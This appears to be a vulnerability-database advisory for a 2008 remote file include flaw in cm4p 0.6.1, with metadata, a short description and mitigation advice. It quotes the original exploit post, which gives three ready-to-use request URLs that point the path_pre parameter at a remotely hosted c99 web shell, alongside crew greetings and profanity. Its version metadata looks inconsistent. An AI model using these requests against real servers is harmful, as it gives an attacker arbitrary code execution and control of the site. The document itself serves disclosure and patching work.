cm4p 0.6.1 Multiple Remote File Include Vulnerability

vendor:

cm4p

by:

RoMaNcYxHaCkEr

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: cm4p

Affected Version From: 2000.6.1

Affected Version To: 2000.6.1

Patch Exists: YES

Related CWE: N/A

CPE: a:mariovaldez:cm4p

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

cm4p 0.6.1 Multiple Remote File Include Vulnerability

cm4p 0.6.1 is vulnerable to multiple remote file include vulnerability. Attackers can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow attackers to execute arbitrary code on the server.

Mitigation:

Apply the latest security patches and update the software to the latest version.

Source

Exploit-DB raw data:

-==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : cm4p 0.6.1 Multiple Remote File Include Vulnerabiliy

# Download From : http://www.mariovaldez.net/software/cm_4p/download.php

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Exploits :

http://WwW.4RxH.CoM/cm/cm_navigation-33.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/cm/cm_navigation.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/cm/cm_summary.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-04-26]